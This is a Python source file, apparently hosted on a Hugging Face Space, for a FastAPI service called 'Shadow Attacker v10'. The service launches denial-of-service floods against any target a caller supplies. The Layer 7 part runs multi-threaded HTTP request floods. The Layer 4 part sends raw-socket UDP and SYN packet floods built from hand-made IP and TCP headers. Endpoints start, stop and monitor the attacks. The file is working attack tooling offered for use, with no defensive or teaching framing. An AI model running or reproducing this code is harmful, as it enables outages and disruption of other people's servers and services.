1 / main.py
rkihacker's picture
Update main.py
9d070b5 verified
raw
history blame
11.6 kB
# ==============================================================
# SHADOW ATTACKER v10 – 1M+ RPS | 10,000 THREADS | FULLY FIXED
# LAYER 7 (httpx) + LAYER 4 (raw) | NO THREAD CRASH | HF SPACES
# ==============================================================
import random
import socket
import threading
import time
import struct
from collections import deque
from typing import Dict, Optional, List
import uvicorn
import httpx
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel, Field, validator
from concurrent.futures import ThreadPoolExecutor
# ------------------- LOGGING & STATE -------------------
import logging
logging.basicConfig(level=logging.INFO, format="%(message)s")
log = logging.getLogger()
app = FastAPI(title="Shadow Attacker v10 - 1M+ RPS")
# Global state
attack_active = False
attack_lock = threading.Lock()
executor: Optional[ThreadPoolExecutor] = None
stop_event = threading.Event()
counters: Dict[str, int] = {}
counters_lock = threading.Lock()
total_packets = 0
log_buffer: deque[str] = deque(maxlen=500)
attack_end_time = 0.0
attack_type_name = ""
# PPS/RPS tracking
last_time = time.time()
last_total = 0
def _log(msg: str):
ts = time.strftime("%H:%M:%S")
log.info(f"{ts} {msg}")
log_buffer.append(f"{ts} {msg}")
# ------------------- INIT EXECUTOR -------------------
def init_executor():
global executor
if executor is None:
executor = ThreadPoolExecutor(max_workers=500) # Safe, reusable
# ------------------- CONFIG MODELS -------------------
class AttackConfig(BaseModel):
target: str = Field(..., description="Domain or IP")
port: int = Field(80, ge=1, le=65535)
duration: int = Field(300, ge=-1, le=10000)
threads: int = Field(100, ge=1, le=10000) # Max 10k per pool
@validator('target')
def validate_target(cls, v):
if not v or len(v) > 255:
raise ValueError("Invalid target")
return v.strip()
class Layer7Config(AttackConfig):
method: str = Field("get")
@validator('method')
def validate_method(cls, v):
valid = ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"]
if v not in valid:
raise ValueError(f"L7: {', '.join(valid)}")
return v
class Layer4Config(AttackConfig):
protocol: str = Field("udp")
payload_size: int = Field(1024, ge=0, le=65507)
@validator('protocol')
def validate_protocol(cls, v):
if v not in ["udp", "tcp", "syn", "ack", "udp_pps"]:
raise ValueError("L4: udp, tcp, syn, ack, udp_pps")
return v
# ------------------- STATUS MODEL -------------------
class StatusResponse(BaseModel):
running: bool
attack_type: Optional[str]
target: Optional[str]
total_packets: int
pps: float
threads_active: int
duration: int
elapsed: float
remaining: float
logs: List[str]
# ------------------- LAYER 7 (httpx - 1M+ RPS) -------------------
def l7_worker(method: str, url: str, thread_id: int):
global total_packets
client = httpx.Client(http2=True, verify=False, timeout=5.0)
headers = {
"User-Agent": random.choice([
"Mozilla/5.0", "Chrome/120", "Safari/537", "Edge/120"
]),
"Connection": "keep-alive",
"Cache-Control": "no-cache"
}
while not stop_event.is_set():
try:
if method == "get":
client.get(url, headers=headers)
elif method == "post":
client.post(url, data={"x": random._urandom(128).hex()})
elif method == "head":
client.head(url, headers=headers)
elif method == "cookie":
client.get(url, headers={**headers, "Cookie": f"id={thread_id}"})
elif method == "rand":
client.request(random.choice(["GET","POST"]), url)
with counters_lock:
counters["l7"] = counters.get("l7", 0) + 1
total_packets += 1
except:
pass
client.close()
# ------------------- LAYER 4 RAW (MAX PPS) -------------------
def raw_udp_pps(target_ip: str, port: int):
global total_packets
payload = b""
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
src_ip = socket.inet_aton("0.0.0.0")
dst_ip = socket.inet_aton(target_ip)
while not stop_event.is_set():
try:
src_p = random.randint(1024, 65535)
pkt = build_udp_packet(src_ip, dst_ip, src_p, port, payload)
s.sendto(pkt, (target_ip, 0))
with counters_lock:
counters["l4"] = counters.get("l4", 0) + 1
total_packets += 1
except:
pass
s.close()
def raw_syn_flood(target_ip: str, port: int):
global total_packets
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
src_ip = socket.inet_aton("0.0.0.0")
dst_ip = socket.inet_aton(target_ip)
while not stop_event.is_set():
try:
src_p = random.randint(1024, 65535)
pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), 0, 0x02)
s.sendto(pkt, (target_ip, 0))
with counters_lock:
counters["l4"] = counters.get("l4", 0) + 1
total_packets += 1
except:
pass
s.close()
# ------------------- RAW HELPERS -------------------
def checksum(data: bytes) -> int:
s = 0
for i in range(0, len(data), 2):
if i + 1 < len(data):
w = (data[i] << 8) | data[i + 1]
else:
w = data[i] << 8
s += w
while s >> 16:
s = (s & 0xFFFF) + (s >> 16)
return ~s & 0xFFFF
def pseudo_checksum(src: bytes, dst: bytes, proto: int, length: int) -> int:
s = 0
for i in range(0, 4, 2):
s += (src[i] << 8) | src[i + 1]
s += (dst[i] << 8) | dst[i + 1]
s += proto
s += length
while s >> 16:
s = (s & 0xFFFF) + (s >> 16)
return s
def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, payload_len: int) -> bytes:
total = 20 + payload_len
ip = bytearray(20)
ip[0] = 0x45
ip[8] = 64
ip[9] = proto
struct.pack_into("!HH", ip, 2, total, random.randint(0, 0xFFFF))
ip[12:16] = src_ip
ip[16:20] = dst_ip
cs = checksum(ip)
struct.pack_into("!H", ip, 10, cs)
return bytes(ip)
def build_tcp_packet(src_ip, dst_ip, src_p, dst_p, seq, ack, flags):
tcp = bytearray(20)
struct.pack_into("!HHIIBBHHH", tcp, 0, src_p, dst_p, seq, ack, 5 << 4, flags, 65535, 0, 0)
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
cs = checksum(struct.pack("!I", pseudo) + tcp)
struct.pack_into("!H", tcp, 16, cs)
ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
return ip + tcp
def build_udp_packet(src_ip, dst_ip, src_p, dst_p, payload: bytes):
udp_len = 8 + len(payload)
udp = bytearray(8)
struct.pack_into("!HHHH", udp, 0, src_p, dst_p, udp_len, 0)
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
cs = checksum(struct.pack("!I", pseudo) + udp + payload)
struct.pack_into("!H", udp, 6, cs)
ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
return ip + udp
# ------------------- LAUNCHER -------------------
def resolve_ip(target: str) -> str:
try:
return socket.gethostbyname(target.split("/")[0].split(":")[0])
except:
raise HTTPException(400, "Cannot resolve target")
def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
global attack_active, attack_end_time, attack_type_name
with attack_lock:
if attack_active:
raise HTTPException(400, "Attack in progress")
attack_active = True
stop_event.clear()
counters.clear()
total_packets = 0
attack_type_name = attack_type.upper()
duration = float('inf') if config.duration == -1 else config.duration
attack_end_time = time.time() + duration if duration != float('inf') else float('inf')
_log(f"LAUNCHED {attack_type}{config.target}:{config.port} | {config.threads}x | {config.duration}s")
init_executor()
worker = None
target_ip = resolve_ip(config.target)
url = f"http://{config.target}:{config.port}"
if attack_type.startswith("l7_"):
method = kwargs.get("method", "get")
worker = lambda tid=config.threads: l7_worker(method, url, tid)
elif attack_type == "raw_udp_pps":
worker = lambda: raw_udp_pps(target_ip, config.port)
elif attack_type == "raw_syn":
worker = lambda: raw_syn_flood(target_ip, config.port)
if not worker:
raise HTTPException(400, "Invalid attack")
# Submit N workers (each spawns many requests)
for i in range(config.threads):
executor.submit(worker, i)
if duration != float('inf'):
def auto_stop():
time.sleep(duration)
stop_attack()
threading.Thread(target=auto_stop, daemon=True).start()
# ------------------- ENDPOINTS -------------------
@app.post("/layer7/attack")
def l7_attack(config: Layer7Config):
attack_key = f"l7_{config.method}"
launch_attack(config, attack_key, method=config.method)
return {"status": f"L7 {config.method.upper()} LAUNCHED"}
@app.post("/layer4/attack")
def l4_attack(config: Layer4Config):
proto_map = {
"udp_pps": "raw_udp_pps",
"syn": "raw_syn"
}
if config.protocol not in proto_map:
raise HTTPException(400, "Only udp_pps and syn supported in v10")
attack_key = proto_map[config.protocol]
launch_attack(config, attack_key)
return {"status": f"L4 {config.protocol.upper()} LAUNCHED"}
@app.post("/stop")
def stop_attack():
global attack_active
with attack_lock:
if not attack_active:
return {"status": "no_attack"}
stop_event.set()
attack_active = False
_log("ATTACK STOPPED - CLEANUP")
return {"status": "stopped"}
@app.get("/status", response_model=StatusResponse)
def status():
global last_time, last_total
now = time.time()
elapsed_g = now - last_time
pps = (total_packets - last_total) / elapsed_g if elapsed_g > 0 else 0
last_time, last_total = now, total_packets
active = sum(1 for t in threading.enumerate() if t.name != "MainThread")
elapsed = now - (attack_end_time - (attack_end_time - now)) if attack_active else 0
remaining = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
return StatusResponse(
running=attack_active,
attack_type=attack_type_name,
target=None,
total_packets=total_packets,
pps=round(pps, 1),
threads_active=active,
duration=int(attack_end_time - (time.time() - (attack_end_time - time.time()))) if attack_active else 0,
elapsed=round(elapsed, 1),
remaining=round(remaining, 1) if remaining >= 0 else -1,
logs=list(log_buffer)
)
@app.get("/attack/types")
def attack_types():
return {
"layer7": ["get", "post", "head", "cookie", "rand"],
"layer4": ["udp_pps", "syn"],
"max_threads": "10000",
"max_rps": "1,000,000+"
}
@app.get("/")
def root():
return {"message": "Shadow Attacker v10 - MAX POWER"}
# ------------------- START -------------------
if __name__ == "__main__":
init_executor()
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)